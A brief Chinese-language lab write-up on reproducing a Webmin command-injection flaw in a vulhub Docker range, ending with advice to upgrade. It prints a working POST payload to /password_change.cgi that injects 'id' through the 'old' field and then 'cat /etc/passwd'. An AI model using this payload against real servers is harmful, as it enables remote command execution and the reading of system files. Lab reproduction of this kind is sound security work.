一、环境搭建
1、下载vulhub源码，下载链接：https://vulhub.org/#/index/
2、靶场虚拟机中安装好docker环境
3、进入到vulhub对应的漏洞目录中，使用命令docker-compose up -d，启动即可
访问https://靶场ip:10000，即可看到webmin登录界面
二、漏洞复现
1、启动浏览器，访问到webmin登录界面
2、访问/password_change.cgi目录
以POST的方式发送POC：user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2，可以看到成功执行id命令
4、将id命令，换成cat /etc/passwd，一样正常执行
该漏洞利用方式简单，成功利用可直接向服务器执行命令，风险极高，使用webmin的用户要注意升级